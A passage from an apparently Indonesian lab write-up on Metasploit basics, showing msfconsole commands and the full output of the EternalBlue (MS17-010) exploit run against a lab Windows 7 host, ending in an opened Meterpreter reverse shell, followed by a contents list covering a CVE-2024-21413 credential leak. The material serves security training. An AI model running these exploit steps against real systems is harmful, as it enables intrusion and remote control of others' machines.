#    LPORT     4444             yes       The listen port

set RHOSTS 10.48.128.125

set LHOST 192.168.146.209
set LHOST 10.48.128.125
# set SMBDomain .

exploit
# [*] Started reverse TCP handler on 10.48.90.84:4444
# [*] 10.48.128.125:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
# [+] 10.48.128.125:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
# [*] 10.48.128.125:445     - Scanned 1 of 1 hosts (100% complete)
# [+] 10.48.128.125:445 - The target is vulnerable.
# [*] 10.48.128.125:445 - Connecting to target for exploitation.
# [+] 10.48.128.125:445 - Connection established for exploitation.
# [+] 10.48.128.125:445 - Target OS selected valid for OS indicated by SMB reply
# [*] 10.48.128.125:445 - CORE raw buffer dump (42 bytes)
# [*] 10.48.128.125:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
# [*] 10.48.128.125:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
# [*] 10.48.128.125:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
# [+] 10.48.128.125:445 - Target arch selected valid for arch indicated by DCE/RPC reply
# [*] 10.48.128.125:445 - Trying exploit with 12 Groom Allocations.
# [*] 10.48.128.125:445 - Sending all but last fragment of exploit packet
# [*] 10.48.128.125:445 - Starting non-paged pool grooming
# [+] 10.48.128.125:445 - Sending SMBv2 buffers
# [+] 10.48.128.125:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
# [*] 10.48.128.125:445 - Sending final SMBv2 buffers.
# [*] 10.48.128.125:445 - Sending last fragment of exploit packet!
# [*] 10.48.128.125:445 - Receiving response from exploit packet
# [+] 10.48.128.125:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
# [*] 10.48.128.125:445 - Sending egg to corrupted connection.
# [*] 10.48.128.125:445 - Triggering free of corrupted buffer.
# [*] Sending stage (203846 bytes) to 10.48.128.125
# [*] Meterpreter session 1 opened (10.48.90.84:4444 -> 10.48.128.125:49269) at 2026-01-13 14:18:59 +0000
# [+] 10.48.128.125:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# [+] 10.48.128.125:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# [+] 10.48.128.125:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# meterpreter >

On this page

Moniker Link (CVE-2024-21413)IntroductionRingkasan CVE-2024-21413 (Microsoft Outlook)Detail KerentananVersi Microsoft Office yang TerdampakTujuan Pembelajaran LabMoniker Link (CVE-2024-21413)Cara Kerja Vulnerability Moniker Link di OutlookOutlook Protected ViewBypass Protected View (Inti Vulnerability)Dampak KeamananInti Serangan (Singkat)ExploitationRingkasan Eksploitasi Moniker Link (Credential Leak)Tujuan SeranganProof of Concept (PoC)Persiapan di AttackBoxAksi di Mesin KorbanHasil SeranganInti Singkat (1 Baris)DetectionRemediationMetasploit: IntroductionMain Components of MetasploitApa itu Modul?Konsep Penting dalam Metasploit1. Vulnerability (Kerentanan)2. Exploit3. PayloadModul Metasploit1. Auxiliary2. Encoders3. Evasion4. Exploits5. NOPs6. PayloadsShell dalam Metasploit1. Adapters2. Singles3. Stagers4. StagesCara Membedakan Single dan Staged PayloadAnswer QuestionsMsfconsoleFitur Dasar msfconsoleKeterbatasan msfconsolePerintah helpPerintah setPerintah historyTab CompletionKonsep Context di msfconsoleMenggunakan Modul Exploit (Contoh: MS17-010 EternalBlue)Tentang EternalBlue (MS17-010)Perintah Linux Tetap Bisa Digunakanshow optionsContoh pada exploit:Contoh pada post-exploitation module:show payloadsPerintah showKeluar dari Konteks ModulPerintah infoPerintah searchContoh Penggunaan searchInformasi Penting pada Hasil SearchMenggunakan Modul dari Hasil SearchExploit Rank (Tingkat Keandalan)Filter Search dengan KeywordContoh: Mencari Modul AuxiliaryKeuntungan Menggunakan FilterWorking with modulesMenjalankan Target & MetasploitKonsep Prompt di MetasploitMengatur Parameter ModulAturan Umumshow optionsContoh Set ParameterParameter yang Paling Sering DigunakanMengubah & Menghapus ParameterContoh unset allsetg (Set Global Parameter)Fungsi setgPerbedaan set vs setgMenghapus Global ParameterContoh Alur Penggunaan setgKapan Menggunakan setg?Menjalankan ModulPerintah exploit dan runexploit -zHasil Eksekusi ExploitOpsi checkSession di MetasploitApa itu Session?Background SessionMelihat Session AktifInformasi yang DitampilkanBerpindah Antar SessionAlur Singkat Penggunaan ModulAnswer Questionssummary
Exploitation Basic Part 1